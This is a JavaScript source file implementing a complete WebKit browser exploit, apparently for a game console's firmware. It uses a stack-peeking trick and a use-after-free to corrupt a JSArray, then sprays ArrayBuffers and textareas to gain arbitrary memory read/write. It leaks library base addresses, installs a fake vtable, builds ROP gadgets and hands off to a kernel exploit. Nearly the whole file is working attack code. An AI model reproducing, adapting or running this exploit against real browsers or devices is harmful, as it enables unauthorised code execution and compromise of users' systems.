/* exploit.js -- implementation of the WebKit exploit
 *
 * Copyright (C) 2020 TheFloW
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */

var _dview = null;

function u2d(low, hi) {
  if (!_dview) _dview = new DataView(new ArrayBuffer(16));
  _dview.setUint32(0, hi);
  _dview.setUint32(4, low);
  return _dview.getFloat64(0);
}

function d2u(d) {
  if (!_dview) _dview = new DataView(new ArrayBuffer(16));
  _dview.setFloat64(0, d);
  return { low: _dview.getUint32(4),
           hi:  _dview.getUint32(0) };
}

function init_memory(start_addr) {
  return function(size) {
    var res = start_addr;
    start_addr += size;
    return res;
  }
}

function mymemset(addr, b, len) {
  for (var i = 0; i < len; i++) {
    aspace[addr + i] = b;
  }
}

function mymemcpy(addr, data, len) {
  for (var i = 0; i < len; i++) {
    aspace[addr + i] = data.charCodeAt(i);
  }
}

function read_string(addr) {
  var i = aspace[addr];
  var str = "";
  while (i !== 00) {
    str += String.fromCharCode(i);
    addr++;
    i = aspace[addr];
  }
  return str;
}

function decode_mov(addr) {
  var opcode = aspace32[addr / 4];
  return ((opcode & 0xf0000) >> 4) | (opcode & 0xfff);
}

function decode_stub(addr) {
  return ((decode_mov(addr) & 0xffff) | (decode_mov(addr + 4) << 16)) >>> 0;
}

function gc() {
  for (var i = 0; i < 100; i++) {
    new Uint32Array(0x10000);
  }
}

var frame_arr = [];
var frame_idx = 0;
var peek_val = 0;

function peek_stack() {
  var ret_val = undefined;

  var retno = 0xffff;
  arguments.length = { valueOf:
    function() {
      var _retno = retno;
      retno = 1;
      return _retno;
    }
  };
  var args = arguments;
  (function() {
    (function() {
      (function() {
        ret_val = arguments[0xff00];
      }).apply(null, args);
    }).apply(null, frame_arr);
  }).apply(null, frame_arr);
  peek_val = ret_val;
  return ret_val;
}

function poke_stack(val) {
  frame_arr[frame_idx] = val;
  (function() {
    (function() {
      (function() {
      }).apply(null, frame_arr);
    }).apply(null, frame_arr);
  }).apply(null, frame_arr);
  frame_arr[frame_idx] = "";
}

function exploit() {
  var ua = navigator.userAgent;
  var ver = ua.substring(ua.indexOf("5.0 (") + 22, ua.indexOf(") Apple"));

  var version_dep = version_deps[ver];
  if (version_dep == undefined) {
    alert("ERROR: Unsupported firmware.");
    return -1;
  }

  init_offsets(ver);

  for (var i = 0; i < 0xffff; i++) {
    frame_arr[i] = i;
  }

  frame_idx = 0;
  poke_stack(0);
  if (peek_stack() == undefined) {
    alert("ERROR: WebKit version not vulnerable.");
    return -1;
  }

  frame_idx = 0;
  poke_stack(0);
  peek_stack();
  frame_idx = peek_val;

  poke_stack(0x4141);
  for (var k = 0; k < 8; k++)
    (function(){})();
  peek_stack();

  if (peek_val != 0x4141) {
    alert("ERROR: Could not align the stack.");
    return -1;
  }

  var uaf_replacement = new Array(0x400);
  for (var i = 0; i < 0x400; i++) {
    uaf_replacement[i] = [];
    for (var k = 0; k < 0x40; k++) {
      uaf_replacement[i][k] = 0x41414141;
    }
    uaf_replacement[i].unshift(
      uaf_replacement[i].shift()); // ensure ArrayStorage
  }

  var uaf_target = []; // no arraystorage
  for (var i = 0; i < 0x80; i++) {
    uaf_target[i] = u2d(0x41414141, 0x41414141);
  }

  poke_stack(uaf_target); // store uaf_target in stack
  uaf_target = 0; // remove reference
  for (var k = 0; k < 4; k++)
    gc(); // run GC

  peek_stack(); // read stored reference
  uaf_target = peek_val;
  peek_val = 0;

  // Corrupt JSArray by exploiting UaF
  for (var i = 0; i < 0x400; i++) {
    for (var k = 0x0; k < 0x80; k++) {
      uaf_replacement[i][k] = 0x7fffffff;
      if (uaf_target.length == 0x7fffffff) {
        var yi = i;
        for (var i = 0; i < yi; i++) {
          uaf_replacement[i] = 0;
        }
        for (var i = yi + 1; i < 0x400; i++) {
          uaf_replacement[i] = 0;
        }
        gc();
        break;
      }
    }
  }

  if (uaf_target.length != 0x7fffffff) {
    alert("ERROR: Could not corrupt the JSArray.");
    return -1;
  }

  // Spray and interleave buffers and textareas
  var textareas = new Array(0x2000);
  var buffers = new Array(0x2000);
  var buffer_len = 0x2000;
  for (var i = 0; i < 0x2000; i++) {
    buffers[i] = new ArrayBuffer(buffer_len);
    var e = document.createElement("textarea");
    e.rows = 0x66656463;
    textareas[i] = e;
  }

  // Use corrupted JSArray to corrupt a ArrayBuffer
  var base_addr = -1;
  for (var i = 0x10000; i < 0x40000; i++) {
    if (uaf_target[i] != 0) {
      _dview.setFloat64(0, uaf_target[i]);
      if (_dview.getUint32(4) == buffer_len) {
        _dview.setUint32(4, 0xfffffffc);
        uaf_target[i] = _dview.getFloat64(0); // buffer size
        _dview.setFloat64(0, uaf_target[i - 1]);
        base_addr = _dview.getUint32(0);
        _dview.setUint32(0, 0);
        uaf_target[i - 1] = _dview.getFloat64(0); // buffer offset
        break;
      }
    }
  }

  // Find corrupted ArrayBuffer
  var corrupted = null;
  for (var i = 0; i < buffers.length; i++) {
    if (buffers[i].byteLength != buffer_len) {
      corrupted = buffers[i];
      break;
    }
  }

  if (!corrupted) {
    alert("ERROR: Could not corrupt the ArrayBuffer.");
    return -1;
  }

  // Arbitrary rw primitives
  aspace = new Uint8Array(corrupted);
  aspace16 = new Uint16Array(corrupted);
  aspace32 = new Uint32Array(corrupted);

  // Use corrupted ArrayBuffer to corrupt a textarea
  var textarea_addr = null;
  for (var i = base_addr / 4; i < base_addr / 4 + 0x4000; i++) {
    if (aspace32[i] == 0x66656463) {
      aspace32[i] = 0x55555555;
      textarea_addr = i * 4;
      break;
    }
  }

  // Find corrupted textarea
  var corrupted_textarea = null;
  for (var i = 0; i < textareas.length; i++) {
    if (textareas[i].rows == 0x55555555) {
      corrupted_textarea = textareas[i];
      break;
    }
  }

  if (!corrupted_textarea) {
    alert("ERROR: Could not corrupt the textarea.");
    return -1;
  }

  // Leak pointer
  var vtidx = textarea_addr + elementvtable_off;
  var textareavptr = aspace32[vtidx / 4];

  // Get bases
  var webkit_base = textareavptr - SceWebKit_base_off;
  var net_base = decode_stub(webkit_base + SceNet_stub_off) - SceNet_base_off;
  var libc_base = (
    decode_stub(webkit_base + SceLibc_stub_off) - SceLibc_base_off);

  allocate_memory = init_memory(base_addr - 0x400000);

  // Create fake vtable and replace old one
  var fkvtable = allocate_memory(0x400 * 4);

  for (var i = 0; i < 0x400; i++) {
    aspace32[fkvtable / 4 + i] = aspace32[textareavptr / 4 + i];
  }

  aspace32[vtidx / 4] = fkvtable;

  // Initialize ROP gadgets and library functions
  var bases = {
    "SceWebKit": webkit_base,
    "SceNet": net_base,
    "SceLibc": libc_base,
  };

  var tmpmem = allocate_memory(0x5000);
  var caller = get_caller(tmpmem, corrupted_textarea, vtidx, fkvtable);
  init_ggts(bases, caller, ver);

  kxploit(caller, ver);
}

function go() {
  try {
    exploit();
  } catch (e) {
    alert(e);
  }
}